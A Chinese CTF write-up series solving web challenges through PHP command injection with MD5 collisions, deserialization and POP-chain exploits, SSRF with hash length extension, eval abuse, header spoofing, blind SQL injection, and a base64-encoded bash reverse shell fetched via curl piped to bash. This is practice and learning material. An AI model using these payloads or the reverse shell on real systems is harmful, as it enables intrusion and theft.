1
md5 is funny ~

url 有点东西

1
?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

两次 base64decode 后得到

1
3535352e706e67

image-20210413160218415

竟然是一个图片名的 hex

可以试试看 任意文件读取

读取 index.php

image-20210413161108544

1
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

得到 源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
1
PHP/7.1.33
1
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);

对于文件名中非字母、数字、.的部分直接删了

要执行命令,得找两个 md5 强相等的数据

1
2
3
4
5
6
7
8
<?php
$a = urldecode("%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2");
$b = urldecode("%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2");
echo md5($a);
echo "\n";
echo md5($b);
var_dump($a === $b);
?>

命令没有过滤 \ ,可以利用 \ 多行解释

1
l\s /

有 /flag

用 rev 读 flag

1
rev /fl\ag
1
}d12d7b403400-a5c9-0264-fcb7-6a76600a{galf
1
flag{a00667a6-7bcf-4620-9c5a-004304b7d21d}

0x15 [网鼎杯 2020 朱雀组]phpweb

貌似可以通过post 函数的名字和 函数的参数,来调用函数

phpinfo 被拦截了

fuzz 一下

1
call_user_func() expects parameter 1 to be a valid callback, function 'require' not found or invalid function name in <b>/var/www/html/index.php</b> on line <b>24</b><br />

可见后端用了 call_user_func

估计是这样实现的

1
2
3
$func = $_POST['func'];
$params = $_POST['p'];
call_user_func($func , $params);

readfile 能用,把index.php 读出来看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

有一个 Test 类,可以利用这个类的 __destruct 方法来执行任意函数

于是就用到 unserialize

1
2
3
4
5
6
7
8
9
10
<?php
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
}
$t = new Test();
$t->p = "find / -name *flag*";
$t->func = "system";
echo urlencode(serialize($t));
?>

得到 反序列化的结果

1
O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A19%3A%22find+%2F+-name+%2Aflag%2A%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

找到 flag 位置

1
/tmp/flagoefiu4r93

读出flag

1
nl /tmp/flagoefiu4r93

image-20210413211816395

1
flag{29c8b19b-104a-4fcc-a967-2deb57c8bb8e}

0x16 [De1CTF 2019]SSRF Me

直接给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#! /usr/bin/env python 
# encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
return hashlib.md5(content).hexdigest()

def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)):
#SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print(resp)
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()

if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.


@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())


@app.route('/')
def index():
return open("code.txt","r").read()

if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)

应该是要 访问

1
/De1ta

触发 Task 对象调用 Exec 方法,从而进行 ssrf 或者别的什么

看看参数

1
2
3
4
GET : param 
POST :
COOKIE : sign , action
remote_add : ip

这些参数被送进 Task 的构造函数

ip 用来造一个给本用户用的文件夹

看看 Exec 方法

先要过 self.checkSign(),即要

1
getSign(self.action, self.param) == self.sign
1
2
def getSign(action, param): 
return hashlib.md5(secert_key + param + action).hexdigest()

访问 /geneSign 得到的是

1
md5(secret_key + param + "scan")

这个 param 参数是任意的

接下来,如果 action 有 scan,那就调用

1
resp = scan(self.param)
1
2
3
4
5
6
def scan(param): 
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

可以用来ssrf,结果可能会写到 result.txt 里面,也会打印出来

如果 action 有 read,就会读 result.txt 里面的内容,最后打印出来

1
2
3
4
5
6
def waf(param): 
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

有个 waf 函数,感觉有点难整,这样一来就不能用 gopher 协议 和 file 协议了

访问 /De1ta

COOKIE.action 的值,取

1
readscan

GET.param 的值,取

1
http://www.baidu.com

COOKIE.sign 的值,要访问 /geneSign 得到,访问的时候,GET.param 的值

1
http://www.baidu.comread

COOKIE.sign 的值

1
d4ed565fe68b8efb9217122ea81c05f5

image-20210415092330524

确实可以成功访问

image-20210415092715213

发送 请求的代码

1
urllib.urlopen(param).read()[:50]

这种格式的是 python2

查查看 urlopen 有没有什么 CVE

image-20210415092947078

1
urllib.urlopen('local_file:///etc/passwd')

因而可以进行任意文件读取,不过需要绝对路径

去读 /etc/passwd

先去 /geneSign

image-20210415093230002

1
885d6fb7159cea7279ca873109205aaa

image-20210415093531148

提示说 flag 的位置在 ./flag.txt,即运行目录下

那就直接以 flag.txt 作为 urllib.urlopen 函数的参数,就能读到 flag 了

1
2
GET /De1ta?param=flag.txt HTTP/1.1
Cookie: UM_distinctid=178c47882931c-03d45df0858cdb8-4c3f227c-e1000-178c478829517e; action=readscan; sign=897603d1f2fa7144d7a2ebd147d08550

image-20210415132935293

1
flag{cbf140b7-ecd0-44ce-a459-2fb7b9b68aac}

还可以 用哈希长度扩展攻击,

也就是说 如果知道了

1
md5(secret_key + "flag.txt" + "scan")

并且 secret_key 的长度是 16 byte

那也就 能算出

1
md5(secret_key + "flag.txt" + "scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%E0%00%00%00%00%00%00%00read")

1
03b68d6be7949fc53fc0aa73b80647f6

因而

1
2
GET /De1ta?param=flag.txt HTTP/1.1
Cookie: UM_distinctid=178c47882931c-03d45df0858cdb8-4c3f227c-e1000-178c478829517e; sign=03b68d6be7949fc53fc0aa73b80647f6; action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%E0%00%00%00%00%00%00%00read

image-20210415194603609

1
flag{1df55dbd-89ab-4f95-87e9-3f7d51bfe299}

0x17 [CISCN2019 总决赛 Day1 Web4]Laravel1

扫一扫

1
2
3
4
[21:03:06] 200 -    0B  - /favicon.ico
[21:03:06] 200 - 2KB - /index.php
[21:03:06] 200 - 24B - /robots.txt
[21:04:54] 200 - 593B - /.htaccess

看看 robots.txt,啥也没有

看看 .htaccess

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<IfModule mod_rewrite.c>
<IfModule mod_negotiation.c>
Options -MultiViews -Indexes
</IfModule>

RewriteEngine On

# Handle Authorization Header
RewriteCond %{HTTP:Authorization} .
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]

# Redirect Trailing Slashes If Not A Folder...
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_URI} (.+)/$
RewriteRule ^ %1 [L,R=301]

# Handle Front Controller...
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^ index.php [L]
</IfModule>
1
//backup in source.tar.gz

下载来看看

很显然,要找一条 POP 链

1
@unserialize($payload);

去找 __destruct

image-20210415233824701

要注意,如果用 vscode 找,要先把目录下的 .gitignore 文件删掉,不然的话标记其中的文件没法被遍历到

image-20210416201756203

还是挺好找的,甚至不用 检查 __call ,而且还可以 rce

直接写 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
namespace Symfony\Component\Cache{
final class CacheItem{
private const METADATA_EXPIRY_OFFSET = 1527506807;
protected $key;
protected $value;
protected $isHit = false;
protected $expiry;
protected $defaultLifetime;
protected $metadata = [];
protected $newMetadata = [];
protected $innerItem;
protected $poolHash;
protected $isTaggable = false;
function __construct()
{
$this->innerItem = "nl /*";
$this->poolHash = null;
}
}
}

namespace Symfony\Component\Cache\Adapter{
class TagAwareAdapter{
private $deferred = [];
private $createCacheItem;
private $setCacheItemTags;
private $getTagsByKey;
private $invalidateTags;
private $tags;
private $knownTagVersions = [];
private $knownTagVersionsTtl;
function __construct()
{
$this->pool = new \Symfony\Component\Cache\Adapter\ProxyAdapter();
$this->deferred = array(new \Symfony\Component\Cache\CacheItem());
}
}

class ProxyAdapter
{
private $namespace;
private $namespaceLen;
private $createCacheItem;
private $setInnerItem;
private $poolHash;
function __construct()
{
$this->poolHash = null;
$this->setInnerItem = "system";
}
}
}

namespace{
$a = new \Symfony\Component\Cache\Adapter\TagAwareAdapter();
echo urlencode(serialize($a));
}

?>
1
O%3A47%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%22%3A9%3A%7Bs%3A57%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00deferred%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A33%3A%22Symfony%5CComponent%5CCache%5CCacheItem%22%3A10%3A%7Bs%3A6%3A%22%00%2A%00key%22%3BN%3Bs%3A8%3A%22%00%2A%00value%22%3BN%3Bs%3A8%3A%22%00%2A%00isHit%22%3Bb%3A0%3Bs%3A9%3A%22%00%2A%00expiry%22%3BN%3Bs%3A18%3A%22%00%2A%00defaultLifetime%22%3BN%3Bs%3A11%3A%22%00%2A%00metadata%22%3Ba%3A0%3A%7B%7Ds%3A14%3A%22%00%2A%00newMetadata%22%3Ba%3A0%3A%7B%7Ds%3A12%3A%22%00%2A%00innerItem%22%3Bs%3A5%3A%22nl+%2F%2A%22%3Bs%3A11%3A%22%00%2A%00poolHash%22%3BN%3Bs%3A13%3A%22%00%2A%00isTaggable%22%3Bb%3A0%3B%7D%7Ds%3A64%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00createCacheItem%22%3BN%3Bs%3A65%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00setCacheItemTags%22%3BN%3Bs%3A61%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00getTagsByKey%22%3BN%3Bs%3A63%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00invalidateTags%22%3BN%3Bs%3A53%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00tags%22%3BN%3Bs%3A65%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00knownTagVersions%22%3Ba%3A0%3A%7B%7Ds%3A68%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00knownTagVersionsTtl%22%3BN%3Bs%3A4%3A%22pool%22%3BO%3A44%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%22%3A5%3A%7Bs%3A55%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00namespace%22%3BN%3Bs%3A58%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00namespaceLen%22%3BN%3Bs%3A61%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00createCacheItem%22%3BN%3Bs%3A58%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00setInnerItem%22%3Bs%3A6%3A%22system%22%3Bs%3A54%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00poolHash%22%3BN%3B%7D%7D

image-20210416201700752

得到 flag

1
flag{a309985e-a399-4441-9b67-951490200a32}

0x18 [CISCN 2019 初赛] Love Math

1
PHP/7.3.9

因而可以调用类似

1
"phpinfo"()

能用 base_convert ,因而可以生成任意 字符串

比如生成 “phpinfo”

image-20210416212736999

1
base_convert(55490343972,10,36)

image-20210416212855281

去看看 disable_function

image-20210416212927827

什么也没有禁止

1
eval('echo '.$content.';');

没有拦截 ^ , eval 里面用的是 单引号 ‘’

因而可以通过 异或弄进去任意字符

php7 中可以

1
${"_GET"}[0]
1
"_GET" = "1111" ^ "nvte"

因而得到 _GET

1
base_convert(1114322,10,36)^base_convert(1111,10,10)
1
$pi=base_convert(1114322,10,36)^base_convert(1111,10,10);${$pi}{0}(${$pi}{1})&0=system&1=nl /*

image-20210416225312470

1
flag{9a12c8e6-cbcc-4727-bcb6-ab724b990d55}

0x19 [BJDCTF 2nd]假猪套天下第一

有一个登录口,估计要先 sql 注入

提示有个 L0g1n.php

访问看看

1
Sorry, this site will be available after totally 99 years!

image-20210417111241143

抓包,看到 Cookie 里面有个 time,看起来是以秒为单位的时间戳

改一下,增加99年

image-20210417111754323

1
4742766558

image-20210417111819451

提示只能由 localhost 访问

试试看改 X-Forwarded-for

image-20210417111948356

但是被拦截了

试试看 改 Client-IP

image-20210417112111803

1
Sorry, this site is only optimized for those who come from gem-love.com

改一改 Referer(http header 里面就是这样拼)

image-20210417113413608

1
Sorry, this site is only optimized for browsers that run on Commodo 64

把 user-agent 给改了

1
Commodore 64

image-20210417113640702

1
Sorry, this site is only optimized for those whose email is root@gem-love.com

image-20210417113944679

改了

image-20210417114106211

1
Sorry, this site is only optimized for those who use the http proxy of y1ng.vip<br> if you dont have the proxy, pls contact us to buy, ¥100/Month

改一下 Via

image-20210417114849580

1
Sorry, even you are good at http header, you're still not my admin.<br> Althoungh u found me, u still dont know where is flag <!--ZmxhZ3syYTQxZDRkMy0zNWY4LTQ1ZGUtOTFmOC0yZjc1MThkZTNmNTl9Cg==-->

base64decode 一下

1
flag{2a41d4d3-35f8-45de-91f8-2f7518de3f59}

0x1a [BJDCTF 2nd]简单注入

信息搜集一波

扫一扫目录

1
[12:07:42] 200 -   36B  - /robots.txt

访问 看看

1
2
User-agent: *
Disallow: /hint.txt

访问一下 /hint.txt

1
2
3
4
5
6
Only u input the correct password then u can get the flag
and p3rh4ps wants a girl friend.

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

//鍑洪浜哄洓绾у帇绾挎墠杩� 瑙佽皡瑙佽皡 棰嗕細绮剧

有注入点,password

fuzz 一下,看看拦截了什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
"
%22
%27
'
'1'='1
-
--
--+
-~
;
=
AND
ANd
LIKE
LiKe
RLIKE
SELECT
SeleCT
UNION
UNIon
admin'
anandd
and
handler
like
mid
rand()
rlike
select
select
union

单引号和双引号都拦截了,那就没法闭合了

fuzz admin 看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
"
%22
%27
'
'1'='1
-
--
--+
-~
;
=
AND
ANd
LIKE
LiKe
RLIKE
SELECT
SeleCT
UNION
UNIon
admin'
anandd
and
handler
like
mid
rand()
rlike
select
select
union

也拦截了引号

根据 hint.txt ,sql 语句的前后两个参数用的都是 单引号,因而在没有 addslashes 的情况下,可以 转义注入

试试看

1
username=admin\&password=||length(database())>0%23

image-20210417123124541

而当

1
username=admin\&password=||length(database())<0%23

image-20210417123203743

可见,可以布尔盲注

那就直接跑脚本了

1
database() >>>> p3rh4ps

过滤了 select ,那就没法访问 information_schema 了

只能访问 users 表中的内容

1
2
payload = "||!(ascii(substr(((password)),{},1))>{})#".format(i,mid)
data = {"username":"admin\\","password":payload}
1
OhyOuFOuNdit

这就是 admin 的密码了,登录即得到 flag

image-20210417145822550

1
flag{062b5a29-9ef4-4f9a-9d4a-f9d109c62887}

0x1b [BJDCTF 2nd]elementmaster

搜集一波信息

扫一扫目录

好像也没有什么特别的东西

1
2
<p hidden id="506F2E">I am the real Element Masterrr!!!!!!</p>
<p hidden id="706870">@颖奇L'Amore</p>

706870 是 php 的 hex

两个都 unhex 一下

1
Po.php

里面只有一个 .

image-20210417151407639

给了个图,提到了 118 个元素,Po 是个元素,怀疑每个元素名代表一个文件

全部元素访问看看

1
2
3
4
5
6
7
import requests
element=['H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar','K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br','Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh','Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te','I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho','Er', 'Tm','Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn','Fr', 'Ra', 'Ac', 'Th','Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr','Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue']
for e in element:
url = "http://1f356814-0263-432d-9399-279f3dc8dc13.node3.buuoj.cn/" + e + ".php"
resp = requests.get(url)
if resp.status_code == 200:
print(resp.text,end="")
1
And_th3_3LemEnt5_w1LL_De5tR0y_y0u.php

访问得到 flag

1
flag{d831c810-336b-4166-8e8d-dac3be338845}

0x1c [BJDCTF 2nd]duangShell

搜集一波信息

1
how can i give you source code? .swp?!

扫一扫目录

1
[11:12:13] 200 -   12KB - /.index.php.swp

果然有个 swp ,下载来看看

打开后却发现是乱码

vim -r index.php.wsp 来恢复

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>give me a girl</title>
</head>
<body>
<center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
} else {
$girl = $_POST['girl_friend'];
if (preg_match('/\>|\\\/', $girl)) {
die('just girl');
} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
} else {
//duangShell~~~~
exec($girl);
}
}

竟然直接用了 exec ,stdout 的内容不会被直接打印到 页面

看了一下过滤,觉得可以试试看 反弹shell,用文件下载反弹

先写个 shell.txt

1
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuOTIuMzU0LjEvMTIzNDUgMD4mMQo= | base64 -d | bash

然后打开 http 服务

1
python3 -m http.server &

然后打开端口监听

1
nc -l 12345

然后改一下 girl_friend

1
girl_friend=curl http://127.92.354.1:8000/shell.txt | bash

image-20210418123126356

然后去找 flag 就行了

1
nl /etc/demo/P3rh4ps/love/you/flag
1
flag{f3ea3e3b-178e-4ca5-8537-15ea32f2d02d}

0x1d [BJDCTF 2nd]文件探测

先搜集一波信息

扫扫目录

1
2
3
4
5
[13:47:07] 200 -    6KB - /.DS_Store
[13:47:07] 200 - 72B - /robots.txt
[13:47:07] 200 - 18KB - /index.php/login/
[13:47:07] 200 - 18KB - /index.php
[13:47:07] 200 - 55B - /home.php

看源码,给了提示

1
2
<!-- Inheriting and carrying forward the traditional culture of the first BJDCTF, I left a hint in some place that you may neglect  -->
<!-- If you have no idea about the culture of the 1st BJDCTF, you may go to check out the 1st BJDCTF's wirteup that can be found in my blog -->

看看 robots.txt

1
2
3
4
User-agent: *
Disallow: /flag.php
Disallow: /admin.php
Allow: /index.php

访问一下 flag.php 看看

image-20210418135221326

结果是 404not found

估计是被删掉了

访问 admin.php 看看

image-20210418135403713

说是只能 内网访问,可能要 ssrf 了

抓包看看

1
Cookie: UM_distinctid=178c47882931c-03d45df0858cdb8-4c3f227c-e1000-178c478829517e; PHPSESSID=1928379db14a1a1a97a229cb04b38c3b; y1ng=8880cbd71721332a25aa6df7b12eb7ac53539100; your_ip_address=d99081fe929b750e0557f85e6499103f

Cookie 里面有个 your_ip_address,长度是 32 ,看来是某个 字符串的 md5

看看 home.php

看来这个 file 参数参与了 require 函数

image-20210418141138259

file 参数是 system

image-20210418141251599

往框框里面输入东西之后,最后往 system.php 发送请求

image-20210418141632751

1
http://www.baidu.com.y1ng.txt

system.php 这个页面初衷应该是用来看所有文件的 长度

主要是 请求的路径最后加了个 .y1ng.txt ,这就有点难办

应该是要用这个 python 命令去访问 admin.php

回到 home.php,把 file 置为 admin

1
You! are! not! my! admin!

试试看把 Cookie 里面的 your_ip_address 改了

1
2
md5("127.0.0.1")
f528764d624db129b32c21fbca0cb8d6

不过好像没有

用 php://filter 读一读 system.php

1
/home.php?file=php://filter/read=convert.base64-encode/resource=system
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
error_reporting(0);
if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){
echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>";
header("Refresh:0.1;url=index.php");
die;
}

$str2 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;url invalid<br>~$ ';
$str3 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;damn hacker!<br>~$ ';
$str4 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;request method error<br>~$ ';

?>

<?php

$filter1 = '/^http:\/\/127\.0\.0\.1\//i';
$filter2 = '/.?f.?l.?a.?g.?/i';


if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {
$url = $_POST['q2'].".y1ng.txt";
$method = $_POST['q3'];

$str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";

echo $str1;

if (!preg_match($filter1, $url) ){
die($str2);
}
if (preg_match($filter2, $url)) {
die($str3);
}
if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
die($str4);
}
$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));
}

?>

url 最后面是 ?的参数,从而 加了 “.y1ng.txt” 也无所谓

%% 就把 %d 给转义掉了

1
q1=admi&q2=http://127.0.0.1/admin.php?a=a&q3=GET%25s%25

从而得到 admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
error_reporting(0);
session_start();
$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake

function aesEn($data, $key)
{
$method = 'AES-128-CBC';
$iv = md5($_SERVER['REMOTE_ADDR'],true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

function Check()
{
if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
return true;
else
return false;
}

if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
} else {
echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];
}


$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);

if (isset($_GET['decrypt'])) {
$decr = $_GET['decrypt'];
if (Check()){
$data = $_SESSION['secret'];
include 'flag_2sln2ndln2klnlksnf.php';
$cipher = aesEn($data, 'y1ng');
if ($decr === $cipher){
echo WHAT_YOU_WANT;
} else {
die('爬');
}
} else{
header("Refresh:0.1;url=index.php");
}
} else {
//I heard you can break PHP mt_rand seed
mt_srand(rand(0,9999999));
$length = mt_rand(40,80);
$_SESSION['secret'] = bin2hex(random_bytes($length));
}


?>
1
flag_2sln2ndln2klnlksnf.php

php://filter 走一波

但是被拦截了

1
2
3
4
5
6
7
8
9
10
11
12
$decr = $_GET['decrypt'];
$data = $_SESSION['secret'];
$cipher = aesEn($data, 'y1ng');
if ($decr === $cipher){
echo WHAT_YOU_WANT;
}
function aesEn($data, $key)
{
$method = 'AES-128-CBC';
$iv = md5($_SERVER['REMOTE_ADDR'],true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

$data 来自 $_SESSION ,而 $_SESSION 的初始化,源于session_start(),这个函数会根据 COOKIE 当中的 PHPSESSID 来读取,或者创建一个 session 文件,如果 PHPSESSID 为空,那就会创建

因而置空之后,参与加密运算的 $data 就为 null

